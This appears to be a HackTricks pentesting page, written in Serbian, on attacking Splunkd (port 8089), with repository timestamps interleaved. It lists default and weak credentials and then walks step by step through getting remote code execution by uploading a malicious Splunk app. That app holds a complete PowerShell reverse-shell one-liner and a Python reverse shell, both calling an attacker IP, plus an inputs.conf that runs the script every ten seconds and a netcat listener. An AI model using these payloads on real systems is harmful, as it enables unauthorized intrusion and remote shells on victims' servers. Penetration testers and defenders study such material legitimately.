hacktricks/network-services-pentesting/8089-splunkd.md

141 lines
8.5 KiB
Markdown
Raw Permalink Normal View History

# 8089 - Pentesting Splunkd
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-02-03 01:15:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
## **Osnovne informacije**
2022-04-28 16:01:33 +00:00
Splunk je **alat za analizu logova** koji igra ključnu ulogu u **prikupljanju, analizi i vizualizaciji podataka**. Iako njegova prvobitna svrha nije bila da služi kao **SIEM (alat za upravljanje bezbednosnim informacijama i događajima)**, stekao je popularnost u oblasti **bezbednosnog nadzora** i **poslovne analitike**.
2020-11-06 00:32:50 +00:00
Splunk implementacije se često koriste za skladištenje **osetljivih podataka** i mogu poslužiti kao **vredan izvor informacija** za potencijalne napadače ako uspeju da kompromituju sistem. **Podrazumevani port:** 8089
```
2020-11-06 00:32:50 +00:00
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
2022-10-03 00:11:21 +00:00
{% hint style="info" %}
**Splunk web server po defaultu radi na portu 8000**.
2022-10-03 00:11:21 +00:00
{% endhint %}
2020-11-06 00:32:50 +00:00
2024-02-10 13:11:20 +00:00
## Enumeracija
2022-10-03 00:11:21 +00:00
2024-02-10 13:11:20 +00:00
### Besplatna verzija
2022-10-03 00:11:21 +00:00
Splunk Enterprise probna verzija se pretvara u **besplatnu verziju nakon 60 dana**, koja **ne zahteva autentifikaciju**. Nije neobično da sistemski administratori instaliraju probnu verziju Splunka da bi je testirali, koja je **naknadno zaboravljena**. Ovo će se automatski pretvoriti u besplatnu verziju koja nema nikakvu formu autentifikacije, uvodeći sigurnosnu rupu u okruženje. Neke organizacije mogu izabrati besplatnu verziju zbog budžetskih ograničenja, ne razumevajući u potpunosti posledice nedostatka upravljanja korisnicima/ulogama.
2022-10-03 00:11:21 +00:00
### Podrazumevani kredencijali
2022-10-03 00:11:21 +00:00
Na starijim verzijama Splunka, podrazumevani kredencijali su **`admin:changeme`**, koji su zgodno prikazani na stranici za prijavu.\
Međutim, **najnovija verzija Splunka** postavlja **kredencijale** **tokom procesa instalacije**. Ako podrazumevani kredencijali ne rade, vredi proveriti uobičajene slabe lozinke kao što su `admin`, `Welcome`, `Welcome1`, `Password123`, itd.
2022-10-03 00:11:21 +00:00
2024-02-10 13:11:20 +00:00
### Dobijanje informacija
2022-10-03 00:11:21 +00:00
Jednom kada se prijavimo u Splunk, možemo **pregledati podatke**, pokrenuti **izveštaje**, kreirati **kontrolne table**, **instalirati aplikacije** iz Splunkbase biblioteke i instalirati prilagođene aplikacije.\
Takođe možete pokrenuti kod: Splunk ima više načina za **pokretanje koda**, kao što su aplikacije na serveru zasnovane na Djangou, REST krajnje tačke, skriptovani ulazi i skripte za upozorenje. Uobičajena metoda za dobijanje daljinskog izvršavanja koda na Splunk serveru je korišćenje skriptovanog ulaza.
2022-10-03 00:11:21 +00:00
Pored toga, kako se Splunk može instalirati na Windows ili Linux hostove, skriptovani ulazi se mogu kreirati za pokretanje Bash, PowerShell ili Batch skripti.
2020-11-06 00:32:50 +00:00
2022-05-01 13:25:53 +00:00
### Shodan
2020-11-06 00:32:50 +00:00
* `Splunk build`
2022-04-28 16:01:33 +00:00
2022-10-03 00:11:21 +00:00
## RCE
2022-04-28 16:01:33 +00:00
2024-02-10 13:11:20 +00:00
### Kreiranje prilagođene aplikacije
2022-10-03 00:11:21 +00:00
2024-02-10 13:11:20 +00:00
Prilagođena aplikacija može pokretati **Python, Batch, Bash ili PowerShell skripte**.\
Napomena: **Splunk dolazi sa instaliranim Pythonom**, tako da čak i na **Windows** sistemima možete pokretati python kod.
2022-04-28 16:01:33 +00:00
Možete koristiti [**ovu**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk paket da nam pomogne. **`bin`** direktorijum u ovom repozitorijumu ima primere za [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) i [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Prođimo kroz ovo korak po korak.
2022-10-03 00:11:21 +00:00
Da bismo to postigli, prvo treba da kreiramo prilagođenu Splunk aplikaciju koristeći sledeću strukturu direktorijuma:
2022-10-03 00:11:21 +00:00
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
Direktorija **`bin`** će sadržati sve **skripte koje nameravamo da pokrenemo** (u ovom slučaju, **PowerShell** reverzni shell), a podrazumevana direktorija će imati naš `inputs.conf` fajl. Naš reverzni shell će biti **PowerShell one-liner:**
2022-10-03 00:11:21 +00:00
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
Fajl [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) govori Splunk-u **koji skript da pokrene** i sve druge uslove. Ovde postavljamo aplikaciju kao omogućenu i govorimo Splunk-u da pokrene skript svake 10 sekundi. Interval je uvek u sekundama, a ulaz (skript) će se pokrenuti samo ako je ova postavka prisutna.
2022-10-03 00:11:21 +00:00
```shell-session
2024-02-10 13:11:20 +00:00
cat inputs.conf
2022-10-03 00:11:21 +00:00
[script://./bin/rev.py]
2024-02-10 13:11:20 +00:00
disabled = 0
interval = 10
sourcetype = shell
2022-10-03 00:11:21 +00:00
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
Potrebna nam je `.bat` datoteka, koja će se pokrenuti kada se aplikacija implementira i izvršiti PowerShell jednosmernu komandu.
2022-10-03 00:11:21 +00:00
Sledeći korak je da izaberemo `Install app from file` i otpremimo aplikaciju.
2022-10-03 00:11:21 +00:00
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
2022-10-03 00:11:21 +00:00
Pre nego što otpremimo zlu prilagođenu aplikaciju, hajde da pokrenemo slušalac koristeći Netcat ili [socat](https://linux.die.net/man/1/socat).
2022-10-03 00:11:21 +00:00
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
Na stranici `Upload app`, kliknite na browse, izaberite tarball koji smo ranije kreirali i kliknite na `Upload`. Čim **otpremimo aplikaciju**, **dobijamo reverse shell** jer će status aplikacije automatski biti prebačen na `Enabled`.
2022-10-03 00:11:21 +00:00
#### Linux
Ako bismo se bavili **Linux hostom**, morali bismo **izmeniti `rev.py` Python skript** pre nego što kreiramo tarball i otpremimo prilagođenu malicioznu aplikaciju. Ostatak procesa bi bio isti, i dobili bismo reverse shell vezu na našem Netcat slušatelju i krenuli u akciju.
2022-10-03 00:11:21 +00:00
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
2022-10-03 00:11:21 +00:00
Na sledećoj stranici možete pronaći objašnjenje kako se ova usluga može zloupotrebiti za eskalaciju privilegija i dobijanje postojanosti:
2022-10-03 00:11:21 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## References
2022-10-03 00:11:21 +00:00
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-10-03 00:11:21 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2024-02-03 01:15:34 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}